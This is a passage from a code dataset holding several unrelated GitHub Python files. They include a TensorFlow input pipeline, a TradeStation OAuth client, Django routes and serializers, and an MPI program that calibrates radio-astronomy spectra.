print(\"-1\")\nelse:\n print(*b)\n\n \n \n","repo_name":"ReddyIndira/codemind-python","sub_path":"First_unique_character.py","file_name":"First_unique_character.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11956144031","text":"from pathlib import Path\r\n\r\nimport tensorflow as tf\r\n\r\nclass InputFn:\r\n\r\n def __init__(self, parameter_server, feature_num=4, label_len=1,\r\n n_parse_threads=4, shuffle_buffer_size=1024, batch_size=64):\r\n self.feature_len = feature_num\r\n self.label_len = label_len\r\n self.n_parse_threads = n_parse_threads\r\n self.shuffle_buffer_size = shuffle_buffer_size\r\n self.batch_size = batch_size\r\n self.parameter_server = parameter_server\r\n self.prefetch_buffer_size = self.batch_size\r\n self.features_format = {\r\n \"feature\": tf.io.FixedLenFeature(self.feature_len, tf.int64),\r\n \"label\": tf.io.FixedLenFeature(self.label_len, tf.float32),\r\n }\r\n\r\n def _parse_example(self, example):\r\n return tf.io.parse_single_example(example, self.features_format)\r\n\r\n def _get_embedding(self, parsed):\r\n keys = parsed[\"feature\"]\r\n embedding = tf.compat.v1.py_func(self.parameter_server.pull, [keys],\r\n tf.float32)\r\n result = {\r\n \"feature\": keys,\r\n \"label\": parsed[\"label\"],\r\n \"feature_embedding\": embedding\r\n }\r\n return result\r\n\r\n def input_fn(self, data_dir, is_test=False):\r\n\r\n data_dir = Path(data_dir)\r\n files = [str(path) for path in list(data_dir.glob(\"*\"))]\r\n\r\n dataset = tf.compat.v1.data.Dataset.list_files(files)\r\n if is_test:\r\n dataset = dataset.repeat(1)\r\n else:\r\n dataset = dataset.repeat()\r\n\r\n dataset = dataset.interleave(\r\n lambda x: tf.compat.v1.data.TFRecordDataset(x), cycle_length=1)\r\n dataset = dataset.map(self._parse_example,\r\n num_parallel_calls=self.n_parse_threads)\r\n dataset = dataset.batch(self.batch_size, drop_remainder=True)\r\n dataset = dataset.map(self._get_embedding,\r\n num_parallel_calls=self.n_parse_threads)\r\n if not is_test:\r\n dataset.shuffle(self.shuffle_buffer_size)\r\n\r\n dataset = dataset.prefetch(buffer_size=self.prefetch_buffer_size)\r\n iterator = tf.compat.v1.data.make_initializable_iterator(dataset)\r\n return iterator, iterator.get_next()","repo_name":"HuichuanLI/Recommand-Algorithme","sub_path":"一个简单的推荐系统/testapp/model/input_function.py","file_name":"input_function.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"29"} +{"seq_id":"72963225358","text":"#loading dependencies\nimport webbrowser\nimport requests\n\n\n\nclass TradeStationClient(object):\n\n def __init__(\n self, \n username: str, \n client_id: str, \n client_secret: str, \n scope: list | str = 'openid', \n state: str = None,\n auth_manual : bool = True\n ) -> None:\n\n\n self.CONFIG_ = {\n #known parameters\n 'base' : 'https://api.tradestation.com',\n 'paper_base': 'https://sim-api.tradestation.com',\n 'api_version' : 'v3',\n 'paper_api_version' : 'v3',\n 'auth_endpoint' : 'https://signin.tradestation.com/authorize',\n 'token_endpoint' : 'https://signin.tradestation.com/oauth/token',\n 'token_header' : {'content-type': 'application/x-www-form-urlencoded'},\n 'response_type' : 'code',\n 'grant_type' : 'authorization_code',\n\n\n #instance defined parameters\n 'client_id': client_id,\n 'username': username,\n 'client_secret' : client_secret,\n 'redirect_uri' : 'http://localhost:8080',\n 'scope' : scope,\n 'state' : state,\n 'auth_manual' : auth_manual\n }\n\n def _build_auth_url(self) -> str:\n '''\n Function builds autoriztion URL\n\n Returns:\n ----\n (str): string representation of authorization url\n '''\n params = '?response_type=' + self.CONFIG_['response_type'] + '&client_id=' + \\\n self.CONFIG_['client_id'] + '&redirect_uri=' + self.CONFIG_['redirect_uri'] + \\\n '&audience=' + self.CONFIG_['base'] + '&scope=' + self.CONFIG_['scope'] \n \n #adding state param if neeeded\n if self.CONFIG_['state']:\n params = params + '&state=' + self.CONFIG_['state']\n auth_url = self.CONFIG_['auth_endpoint'] + params\n\n return auth_url\n\n def _authorize_manual(self) -> str:\n '''\n Authorizes session for Client by manual process. User must login into brower and grab auth code from \n redirect_uri = http://localhost:8080/?code=<AUTHORIZATION_CODE>&state=fhx8y3lfchqxcb8q\n\n Returns:\n -----\n (str): manual user input of authorization code\n '''\n\n auth_url = self._build_auth_url()\n webbrowser.open_new(auth_url)\n\n return input('Please enter the authorization code from the url: ')\n \n def _authorize_auto(self) -> None:\n #TODO: build automatic process for grabbing auth code\n pass\n\n def _get_access_token(self) -> dict:\n '''\n Taking the authorization code and using it to retieve access token.\n NOTE: access tokens expire every 20 mins. \n\n Returns:\n -----\n (dict) : Post response from authorization code containing access token\n '''\n \n if self.CONFIG_['auth_manual']:\n auth_code = self._authorize_manual()\n else:\n auth_code = self._authorize_auto()\n\n #create data dict for post request\n data = {'code' : auth_code}\n for key in ['grant_type', 'client_id', 'client_secret', 'redirect_uri']:\n data[key] = self.CONFIG_[key]\n\n #sending request to TS for access key\n req = requests.post(\n url = self.CONFIG_['token_endpoint'],\n headers = self.CONFIG_['token_header'],\n data = data\n )\n \n if req.status_code != 200: \n print('-'*80)\n print(f'Access Token Retrieval Unsuccessful: {req} \\n \\n')\n else:\n print(req.json())\n return req.json\n\n\n","repo_name":"emozeika/tradestation_api","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"32191725686","text":"\"\"\"WebBooks URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom catalog import views\nfrom registration import views as reg_views\nfrom django.urls import include, re_path, path\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('admin/', admin.site.urls),\n path('sign_up/', reg_views.sign_up, name=\"sign_up\"),\n path('about_us/', views.about_us, name=\"about_us\"),\n path('authors_add/', views.authors_add, name=\"authors_add\"),\n path('accounts/', include('django.contrib.auth.urls')),\n path('edit1/<int:id>/', views.edit1, name=\"edit1\"),\n path('create/', views.create, name=\"create\"),\n path('delete/<int:id>/', views.delete, name=\"delete\"),\n path(r'cart/', views.cart, name='cart'),\n re_path('^book/create/$', views.BookCreate.as_view(), name=\"book_create\"),\n re_path(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),\n re_path(r'^books/$', views.book_list, name='books'),\n re_path(r'^book/(?P<pk>\\d+)$', views.BookDetailView.as_view(), name='book-detail'),\n re_path(r'^authors/$', views.AuthorListView.as_view(), name='authors'),\n re_path(r'^book/update/(?P<pk>\\d+)$', views.BookUpdate.as_view(), name=\"book_update\"),\n re_path(r'^book/delete/(?P<pk>\\d+)$', views.BookDelete.as_view(), name=\"book_delete\"),\n]\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"Stefan12321/World_of_books","sub_path":"WebBooks/WebBooks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8899335710","text":"import yaml\nfrom yaml import Loader\nimport googlemaps as gm\nfrom googlemaps import directions\n\n\ndef neighbour(points):\n start = points[0]\n results = []\n for j in points:\n for i in points:\n dirRes = directions(origin=j, destination=i, mode='driving')\n results.append(dirRes)\n print(dirRes)\n return dirRes\n\n\nwith open('config.yaml') as f:\n config = yaml.load(f, Loader=Loader)\n print(config)\npoints = []\n\nclient = gm.Client(config)\n\n# input loop\nwhile True:\n x = input('Type first part of coordinates or type \"stop\" to finish inputting: ')\n if x == 'stop':\n break\n else:\n x2 = input('Type another part of coordinates')\n points.append([x, x2])\n print(points)\n neighbour(points)","repo_name":"AnanasekE/MyFirstFlaskProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73277713038","text":"from rest_framework import serializers\nfrom shops.models import Shop\nfrom bouquets.models import Bouquet\nfrom flowers.models import Flower\nfrom ribbons.models import Ribbon\nfrom wrappingPapers.models import WrappingPaper\nfrom bouquet_order.models import Bouquet_order\n\nfrom bouquets.serializers import BouquetSerializer\nfrom flowers.serializers import FlowerSerializer\nfrom ribbons.serializers import RibbonSerializer\nfrom wrappingPapers.serializers import WrappingPaperSerializer\nfrom bouquet_order.serializers import BouquetOrderSerializer\n\nclass ShopSerializer(serializers.ModelSerializer):\n\n bouquets = serializers.SerializerMethodField(\n source='bouquet_set', read_only=True)\n\n flowers = serializers.SerializerMethodField(\n source='flower_set', read_only=True)\n\n ribbons = serializers.SerializerMethodField(\n source='ribbon_set', read_only=True\n )\n\n wrappingPapers = serializers.SerializerMethodField(\n source='wrappingPaper_set', read_only=True\n )\n\n bouquet_order = serializers.SerializerMethodField(\n source='bouquet_order_set', read_only=True\n )\n\n class Meta:\n model=Shop\n fields = '__all__'\n\n\n def get_bouquets(self, obj):\n query = Bouquet.objects.filter(shops__id=obj.id)[:3]\n serializer = BouquetSerializer(query, many=True)\n return serializer.data\n\n def get_flowers(self, obj):\n query = Flower.objects.filter(shops__id=obj.id)[:3]\n serializer = FlowerSerializer(query, many=True)\n return serializer.data\n\n def get_ribbons(self, obj):\n query = Ribbon.objects.filter(shops__id=obj.id)[:3]\n serializer = RibbonSerializer(query, many=True)\n return serializer.data\n\n def get_wrappingPapers(self, obj):\n query= WrappingPaper.objects.filter(shops__id=obj.id)[:3]\n serializer = WrappingPaperSerializer(query, many=True)\n return serializer.data\n\n def get_bouquet_order(self, obj):\n query= Bouquet_order.objects.select_related('bouquet').select_related('flower').filter(shops__id=obj.id)\n serializer = BouquetOrderSerializer(query, many=True)\n return serializer.data","repo_name":"Yumina9/Bouquet-server","sub_path":"shops/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31242107172","text":"#!/usr/bin/python\n#\n# tmon tools\n#\n\"\"\" tmon - temperature and contact watchdog\nmodule for setting global variables and functions\n\"\"\"\nDEBUG = False\n\n\nDELAY_CLEARLOG = 60 * 60 * 1\nDELAY_BLINK = 1\n# DELAY_SYSTEMP = 5\nUNSAVED_MAX = 60 * 60 * 1\nDELAY_THERMPOLL = 5\nDELAY_DISPLAY = 3\nDELAY_ERRDISP = 5\nDELAY_CHECKNEW = 12\n\n\nLED_OK = 25\nLED_ERROR = 12\nBTN_INFO = 10\n# BTN_DOWN = 9\n\ncfg = {}\nexecfile(\"/etc/tmon/tmonconf.py\", cfg)\n\n\ndef getipaddress():\n \"\"\" does what it says \"\"\"\n import subprocess\n arg = 'ip route list'\n try:\n p_ = subprocess.Popen(arg, shell=True, stdout=subprocess.PIPE)\n data = p_.communicate()\n split_data = data[0].split()\n return split_data[split_data.index('src') + 1]\n except OSError:\n return False\n\n\ndef terminate(msg):\n \"\"\" exit this software \"\"\"\n import logging\n import sys\n logging.warning(msg)\n sys.exit()\n\ndef get_sensor_config(_name_):\n \"\"\" get sensor from configuration \"\"\"\n _s = [_s for _s in cfg['sensors'] \\\n if 'address' in _s and _s['address'] == _name_]\n if len(_s) == 1:\n return _s[0]\n _s = [_s for _s in cfg['sensors'] if 'name' in _s and _s['name'] == _name_]\n if len(_s) == 1:\n return _s[0]\n return False\n\ndef config_getdisabled():\n \"\"\" get disabled sensors from configuration \"\"\"\n return [s['address'] \\\n for s in cfg['sensors'] \\\n if 'disable' in s and s['disable'] == True]\n\ndef config_sensor_get(_name_, _attrib):\n \"\"\" get attribute variable from sensor in config \"\"\"\n _s = get_sensor_config(_name_)\n if _attrib in _s:\n return _s[_attrib]\n return False\n\ndef cfg_get_list_by_attrib(_attrib):\n \"\"\" get list of all sensors containing the given attribute \"\"\"\n _sensor = [_s for _s in cfg['sensors'] if _attrib in _s]\n\ndef config_getname(_address_):\n \"\"\" get name (alias) for sensor address \"\"\"\n _s = [s['name'] \\\n for s in cfg['sensors'] \\\n if 'name' in s and 'address' in s and s['address'] == _address_]\n if len(_s) == 1:\n return _s[0]\n return _address_\n\ndef config_getaddress(_name_):\n \"\"\" get sensor address from name \"\"\"\n _s = [s['address'] \\\n for s in cfg['sensors'] \\\n if 'name' in s and 'address' in s and s['name'] == _name_]\n if len(_s) == 1:\n return _s[0]\n return _name_\n","repo_name":"on1dds/tmon","sub_path":"src/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41221867224","text":"from algofiles import AlgoFiles\nfrom gitfiles import GitFiles\n\ndef start():\n algo_files = AlgoFiles()\n today_files, filepath = algo_files.get_algo_files()\n\n git_files = GitFiles(today_files, filepath)\n print(git_files.files)\n\n git_files.copy_files()\n git_files.git_commit_push()\n\n\n\nif __name__ == \"__main__\":\n start()\n","repo_name":"KimSeonBin/auto-algo-commit","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6998234785","text":"#!/usr/bin/env python3\nimport numpy as np\nfrom scipy import signal\nfrom scipy import stats\nimport os\nimport sys\nimport json\nfrom collections import deque\nimport glob\nimport time\nfrom ExperimentsLogReader.experimentsLogReader import LogReaderFactory, LogTypes\nimport argparse\nimport scipy.constants\nfrom astropy.time import Time\nfrom mpi4py import MPI\nimport matplotlib.pyplot as plt\nimport pywt\nimport warnings\n\n\n\n\"\"\"\nFunction applies FFT and Blackman-Harris functions to get the amplitude values for the particular raw data file.\n:param file_name: Full path to raw data file\n:return: Array of amplitude values.\n\"\"\"\ndef read_raw(file_name):\n data = np.fromfile(file_name, np.dtype([('re', np.int16), ('im', np.int16)])) #Reads data from file in int16+int16 format\n iq_data = data['re'] + data['im'] * 1j #Splits data into real and imaginary parts\n iq_data = iq_data * 1e-3 #Correcting the measurement\n\n Ns_tot = len(iq_data)\n #The log file must be read before calling the function, as it stores necessary FFT length\n Ns = int(logs[\"header\"][\"Fs,Ns,RBW\"][1]) #Length of FFT \n Nint = int(Ns_tot / Ns) #Amount of bins\n window = signal.blackmanharris(int(Ns)) #Blackman-Harris function coefficients\n spec = np.zeros(int(Ns)) #Stores end result\n ptr = Ns #Stores the pointer for the end of bin to be processed\n binptr = 0 #Stores which bin is being processed\n for i in range(Nint): #Iterates through all data\n spec_i = np.fft.fft(iq_data[binptr*Ns + ptr-Ns:binptr*Ns + ptr]*window); #Applies FFT on data region applying blackman-harris function\n spec = spec + (spec_i.real * spec_i.real + spec_i.imag * spec_i.imag) #Combines real and imaginary parts\n #Moves the pointer to fulfill the 66.1% overlapping coefficient\n if(i%2==1):\n ptr = Ns + int(Ns * 0.661) \n if(i%2==0):\n ptr = Ns + int(Ns * 0.339)\n if(i%3==2 and i!=0):\n #print(\"next bin\")\n binptr = binptr + 1 #Next bin\n ptr = Ns\n spec = np.fft.fftshift(spec) #Shifts frequency spectre to middle\n spec = spec / Nint; #Average calculation\n\n #An array of amplitude values is produced\n return spec\n\n\n\"\"\"\nFunction performs data calibration on provided files, based on the Unbiased calibration algorithm.\n:param p_sig_left: Local oscilator signal with noise diode off for left polarization\n:param p_sig_right: Local oscilator signal with noise diode off for right polarization\n:param p_sig_on_left: Local oscilator signal with noise diode on for left polarization\n:param p_sig_on_right: Local oscilator signal with noise diode on for right polarization\n\n:param p_ref_left: Reference oscilator signal with noise diode off for left polarization\n:param p_ref_right: Reference oscilator signal with noise diode off for right polarization\n:param p_ref_on_left: Reference oscilator signal with noise diode on for left polarization\n:param p_ref_on_right: Reference oscilator signal with noise diode on for right polarization\n\n:param frequencyA: Array of measurement observed frequencies\n:param scan: Integer of which scan is being processed for fetching information from log files\n:param logs: Observations log file\n:param Tsys: Predicted system temperature values\n\n:return: Array of flux density values.\n\"\"\"\ndef frequency_shifting(p_sig_left, p_sig_right, p_ref_left, p_ref_right, p_sig_on_left, p_sig_on_right, p_ref_on_left, p_ref_on_right, frequencyA, scan, logs, Tsys=0):\n df_div = float(logs[\"header\"][\"df_div,df\"][0]) #Bandwidth value in new log files\n #df_div = float(logs[\"header\"][\"frst,f0,LO,IF,df_div\"][4]) #Bandwidth value in old log files\n\n\n\n #Pointers for data region to be processed.\n BW = float(logs[\"header\"][\"Fs,Ns,RBW\"][0])\n f_shift = BW / df_div\n l_spec = len(frequencyA)\n f_step = (frequencyA[l_spec - 1] - frequencyA[0]) / (l_spec - 1)\n n_shift = int(np.rint(f_shift / f_step))\n avg_interval = 0.5 \n si = int(l_spec / 2 - l_spec * avg_interval / 2)\n ei = int(l_spec / 2 + l_spec * avg_interval / 2)\n\n #If function is called and Tsys value is provided, it's assumed that an anomaly is detected in the scan.\n if(Tsys == 0 ):\n #Equations 1.2.2, 1.2.3 for each polarization.\n Tsys_off_1_left = float(logs[\"header\"][\"Tcal\"][0]) * ((p_ref_on_left + p_ref_left) - np.mean(p_ref_on_left[si:ei] - p_ref_left[si:ei])) / (2 * np.mean(p_ref_on_left[si:ei] - p_ref_left[si:ei]))\n Tsys_off_2_left = float(logs[\"header\"][\"Tcal\"][1]) * ((p_sig_on_left + p_sig_left) - np.mean(p_sig_on_left[si:ei] - p_sig_left[si:ei])) / (2 * np.mean(p_sig_on_left[si:ei] - p_sig_left[si:ei]))\n Tsys_off_1_right = float(logs[\"header\"][\"Tcal\"][0]) * ((p_ref_on_right + p_ref_right) - np.mean(p_ref_on_right[si:ei] - p_ref_right[si:ei])) / (2 * np.mean(p_ref_on_right[si:ei] - p_ref_right[si:ei]))\n Tsys_off_2_right = float(logs[\"header\"][\"Tcal\"][1]) * ((p_sig_on_right + p_sig_right) - np.mean(p_sig_on_right[si:ei] - p_sig_right[si:ei])) / (2 * np.mean(p_sig_on_right[si:ei] - p_sig_right[si:ei]))\n\n\n else:\n print(scan, \" is using a predicted value!\")\n #An empty array is created, then filled with predicted system temperature values.\n Tsys_off_1_left = np.empty(len(frequencyA)); Tsys_off_1_left.fill((Tsys[0][scan])/2)\n Tsys_off_2_left = np.empty(len(frequencyA)); Tsys_off_2_left.fill((Tsys[1][scan])/2)\n Tsys_off_1_right = np.empty(len(frequencyA)); Tsys_off_1_right.fill((Tsys[2][scan])/2)\n Tsys_off_2_right = np.empty(len(frequencyA)); Tsys_off_2_right.fill((Tsys[3][scan])/2)\n\n\n #Equations 1.2.4, 1.2.5 for each polarization.\n Ta_1_caloff_left = Tsys_off_1_left * (p_sig_left - p_ref_left) / p_ref_left \n Ta_1_caloff_right = Tsys_off_1_right * (p_sig_right - p_ref_right) / p_ref_right \n\n Ta_2_caloff_left = Tsys_off_2_left * (p_ref_left - p_sig_left) / p_sig_left \n Ta_2_caloff_right = Tsys_off_2_right * (p_ref_right - p_sig_right) / p_sig_right \n\n\n #Equations 1.2.6, 1.2.7 for each polarization.\n Ta_1_calon_left = (Tsys_off_1_left + float(logs[\"header\"][\"Tcal\"][0])) * (p_sig_on_left - p_ref_on_left) / p_ref_on_left \n Ta_1_calon_right = (Tsys_off_1_right + float(logs[\"header\"][\"Tcal\"][1])) * (p_sig_on_right - p_ref_on_right) / p_ref_on_right \n\n Ta_2_calon_left = (Tsys_off_2_left + float(logs[\"header\"][\"Tcal\"][0])) * (p_ref_on_left - p_sig_on_left) / p_sig_on_left \n Ta_2_calon_right = (Tsys_off_2_right + float(logs[\"header\"][\"Tcal\"][1])) * (p_ref_on_right - p_sig_on_right) / p_sig_on_right \n\n #Equations 1.2.8, 1.2.9 for each polarization\n Ta_sig_left = (Ta_1_caloff_left + Ta_1_calon_left) / 2\n Ta_sig_right = (Ta_1_caloff_right + Ta_1_calon_right) / 2\n\n Ta_ref_left = (Ta_2_caloff_left + Ta_2_calon_left) / 2\n Ta_ref_right = (Ta_2_caloff_right + Ta_2_calon_right) / 2\n\n #Frequency shift \n Ta_sig_left = np.roll(Ta_sig_left, +n_shift)\n Ta_sig_right = np.roll(Ta_sig_right, +n_shift)\n\n Ta_ref_left = np.roll(Ta_ref_left, -n_shift)\n Ta_ref_right = np.roll(Ta_ref_right, -n_shift)\n\n #Equation 1.2.10 for each polarization\n Ta_left = (Ta_sig_left + Ta_ref_left) / 2\n Ta_right = (Ta_sig_right + Ta_ref_right) / 2\n\n #Fetching the coefficients for elevation calculation polynomial\n pair = ((str(scan) + \"s1\", str(scan) + \"r1\"), (str(scan) + \"r0\", str(scan) + \"s0\"))\n El = (float(logs[pair[0][0]][\"AzEl\"][1]) + float(logs[pair[0][1]][\"AzEl\"][1]) + float(logs[pair[1][0]][\"AzEl\"][1]) + float(logs[pair[1][1]][\"AzEl\"][1])) / 4\n G_El = logs[\"header\"][\"Elev_poly\"]\n G_El = [float(gel) for gel in G_El]\n G_ELtmp = [0, 0, 0]\n G_ELtmp[0] = G_El[2]\n G_ELtmp[1] = G_El[1]\n G_ELtmp[2] = G_El[0]\n G_El = G_ELtmp\n\n #Calculating the flux density\n Sf_left = Ta_left / (( float(logs[\"header\"][\"DPFU\"][0])) * np.polyval(G_El, El))\n Sf_right = Ta_right / (( float(logs[\"header\"][\"DPFU\"][1])) * np.polyval(G_El, El))\n\n #Cuts out the edges of spectrum, since they are not needed for data processing.\n return (Sf_left[si:ei], Sf_right[si:ei], frequencyA[si:ei])\n\n\n# There is a known issue in OpenMPI implementations, where idle processes sometimes take up 100% of cpu power.\n# To prevent this issue, a solution from https://groups.google.com/forum/#!topic/mpi4py/nArVuMXyyZI is used.\ndef barrier(comm, tag=0, sleep=0.01):\n size = comm.Get_size()\n if size == 1:\n return\n rank = comm.Get_rank()\n mask = 1\n while mask < size:\n dst = (rank + mask) % size\n src = (rank - mask + size) % size\n req = comm.isend(None, dst, tag)\n while not comm.Iprobe(src, tag):\n time.sleep(sleep)\n comm.recv(None, src, tag)\n req.Wait()\n mask <<= 1\n\n\"\"\"\nAlgorithm uses argparse to fetch provided arguments\n\"\"\"\ndef parseArguments():\n parser = argparse.ArgumentParser(description='''Uses MPI protocol to process data in provided directory.''')\n parser.add_argument(\"logFile\", help=\"Experiment log file name\", type=str)\n parser.add_argument(\"dir\",help=\"directory of data\",type=str)\n args = parser.parse_args()\n return args\n\n\"\"\"\nHelper function to for log parsing\n\"\"\"\ndef getArgs(key):\n return str(parseArguments().__dict__[key])\n\n\n\"\"\"\nApplies wavelet transformation based input.\n:param data: Any kind of integer or float array\n:param wavelet: Name of wavelet in its short form from pywt docs (ex. rbio1.5)\n:param threshold: Transformation threshold, float value.\n\n:return: Modified data array, based on inputted parameters.\n\"\"\"\ndef wavTransform(data, wavelet, threshold):\n w = pywt.Wavelet(wavelet)\n maxlev = pywt.dwt_max_level(len(data), w.dec_len)\n coeffs = pywt.wavedec(data, wavelet, level=maxlev)\n for i in range (1,len(coeffs)):\n coeffs[i] = pywt.threshold(coeffs[i], threshold*max(coeffs[i]))\n resulting = pywt.waverec(coeffs, wavelet)\n return resulting\n\n\n\n\n\n#This part gets executed by all processes\n\ncomm = MPI.COMM_WORLD #Used by MPI algorithm for communication with other processes, that are launched by the same command\nrank = comm.Get_rank() #Current process rank\n\nlogs = LogReaderFactory.getLogReader(LogTypes.SDR, getArgs(\"logFile\"), \"./prettylogs\").getLogs() #Reads the provided log file and parses it, creating a \"prettylogs\" json file.\n\n#Starting from here, each process has a different job.\n#First process is responsible for data calibration and data processing after data is read.\nif(rank == 0):\n starttime = time.localtime() #Stores start time for logging\n dir = getArgs(\"dir\") \n #print(dir)\n\n #Gets all raw data files in directory, sorts them and puts them into a list\n filelist = list()\n for file in sorted(glob.glob(dir + \"/*.raw\")):\n filelist.append(file)\n\n #Ensures that results directory is created\n import errno\n if not os.path.exists( dir + '/results'):\n try:\n os.mkdir( dir + '/results')\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n\n files = len(filelist) \n index = 0\n #If there are less than 8 raw data files, it is not possible to perform data calibration, so it is assumed that only dat files should be calibrated.\n if(len(filelist) > 8):\n\n fileNR = 0 \n freqlist = [] #Resulting frequency range\n\n orderedFiles = list()\n scan_count = logs[\"header\"][\"N_scans,N_cal\"][0]\n start = float(logs[\"header\"][\"f_obs,LO,IF\"][2]) - float(logs[\"header\"][\"Fs,Ns,RBW\"][0])/2 #Calculation of starting frequency for new log files\n #start = float(logs[\"header\"][\"frst,f0,LO,IF,df_div\"][1]) - float(logs[\"header\"][\"Fs,Ns,RBW\"][0])/2 #Calculation of starting frequency for old log files\n Ns = int(logs[\"header\"][\"Fs,Ns,RBW\"][1]) #Amount of elements in the resulting array\n step = float(logs[\"header\"][\"Fs,Ns,RBW\"][2]) #Step size between frequency elements\n\n #Calculation of frequency range\n for f in range(0, Ns):\n freqlist.append(start)\n start += step\n\n freq = np.array(freqlist) #Converting to numpy friendly form\n \n df_div = float(logs[\"header\"][\"df_div,df\"][0]) #Bandwidth for new log files\n #df_div = float(logs[\"header\"][\"frst,f0,LO,IF,df_div\"][4]) #Bandwidth for old log files\n\n #Pointers for data region to be processed\n BW = float(logs[\"header\"][\"Fs,Ns,RBW\"][0])\n f_shift = BW / df_div\n l_spec = len(freq)\n f_step = (freq[l_spec - 1] - freq[0]) / (l_spec - 1)\n n_shift = int(np.rint(f_shift / f_step))\n avg_interval = 0.5 # inner 50%\n si = int(l_spec / 2 - l_spec * avg_interval / 2)\n ei = int(l_spec / 2 + l_spec * avg_interval / 2)\n print(\"Amount of files: \", files)\n\n #Orders the files in a better way, changing the format\n while(filelist):\n measurement = [filelist[4], filelist[5], filelist[0], filelist[1], filelist[6], filelist[7], filelist[2], filelist[3]]\n orderedFiles.extend(measurement)\n filelist= filelist[8:]\n\n print(\"Files sorted!\")\n\n #Sends file array to management process\n comm.send(orderedFiles, dest=1, tag=0)\n print(\"Files sent!\")\n #barrier(comm)\n \n #Recieves all data from each process and appends it to total array.\n results = list()\n for process in range(2, comm.size):\n rez = comm.recv(source=process,tag=10001)\n results.append(rez)\n #print(\"Results: \", results)\n\n #Saves processed data in an easy to read format.\n np.save(logs[\"header\"][\"exp_name\"]+\"_results.npy\",np.asarray(results))\n\n #Lists for each type of signal\n s1 = list()\n s0 = list()\n r0 = list()\n r1 = list()\n \n #Data from each process is stored as an array of directories, that store file names and corresponding data array. \n #Since for further data processing it is necessary to provide certain sequences of data, it is sorted in different lists, based on the file name.\n for i in range(0, len(results)):\n for j in range(0, len(results[i])):\n if(\"s0\" in results[i][j][\"file\"]):\n s0.append(results[i][j])\n if(\"s1\" in results[i][j][\"file\"]):\n s1.append(results[i][j])\n if(\"r0\" in results[i][j][\"file\"]):\n r0.append(results[i][j])\n if(\"r1\" in results[i][j][\"file\"]):\n r1.append(results[i][j])\n #This seems to be the fastest way to sort data.\n s0 = sorted(s0, key=lambda k: k['file']) \n s1 = sorted(s1, key=lambda k: k['file']) \n r0 = sorted(r0, key=lambda k: k['file']) \n r1 = sorted(r1, key=lambda k: k['file'])\n\n #To display results from data, a new plot is created.\n plt.figure(\"raw-data-amplitudes\")\n plt.suptitle(logs[\"header\"][\"exp_name\"] + ' raw data plot')\n\n freq_lo= [x + float(logs[\"header\"][\"f_obs,LO,IF\"][1]) for x in freq]\n for i in range(0, len(s0)):\n #Matplotlib allows to select which subplot should be used\n if(i%2 == 0):\n plt.subplot(121) #Left polarization\n else:\n plt.subplot(122) #Right polarization\n #plots data in corresponding subplot\n plt.plot(freq_lo, s0[i][\"data\"])\n plt.plot(freq_lo, r0[i][\"data\"])\n plt.plot(freq_lo, s1[i][\"data\"])\n plt.plot(freq_lo, r1[i][\"data\"])\n\n #Additional plot information\n plt.subplot(121)\n plt.xlabel(\"Frequency (MHz) with LO\")\n plt.ylabel(\"Amplitude\")\n plt.title(\"LCP\")\n plt.grid(True)\n plt.subplot(122)\n plt.xlabel(\"Frequency (MHz) with LO\")\n plt.ylabel(\"Amplitude\")\n plt.title(\"RCP\")\n plt.grid(True)\n\n #Saves the plot in the measurement results directory\n plt.savefig(dir + 'results/'+ logs[\"header\"][\"exp_name\"] +'_raw_plots.png')\n print(\"RAW plot saved\")\n\n #Calculating average system temperature for each spectrum\n Tcal = [float(logs[\"header\"][\"Tcal\"][0]), float(logs[\"header\"][\"Tcal\"][1])]\n Tsys_array = [list(), list(), list(), list()]\n for i in range(0, len(s0), 2):\n #measure = [s0[i][\"file\"], s0[i+1][\"file\"], r0[i][\"file\"], r0[i+1][\"file\"], s1[i][\"file\"], s1[i+1][\"file\"], r1[i][\"file\"], r1[i+1][\"file\"]]\n\n #Eq 1.2.2, 1.2.3\n Tsys_off_1_r = Tcal[0]*((r1[i][\"data\"] + r0[i][\"data\"]) - np.mean(r1[i][\"data\"][si:ei] - r0[i][\"data\"][si:ei]))/(2*np.mean(r1[i][\"data\"][si:ei] - r0[i][\"data\"][si:ei]))\n Tsys_off_1_s = Tcal[1]*((s1[i][\"data\"] + s0[i][\"data\"]) - np.mean(s1[i][\"data\"][si:ei] - s0[i][\"data\"][si:ei]))/(2*np.mean(s1[i][\"data\"][si:ei] - s0[i][\"data\"][si:ei]))\n \n Tsys_off_2_r = Tcal[0]*((r1[i+1][\"data\"] + r0[i+1][\"data\"]) - 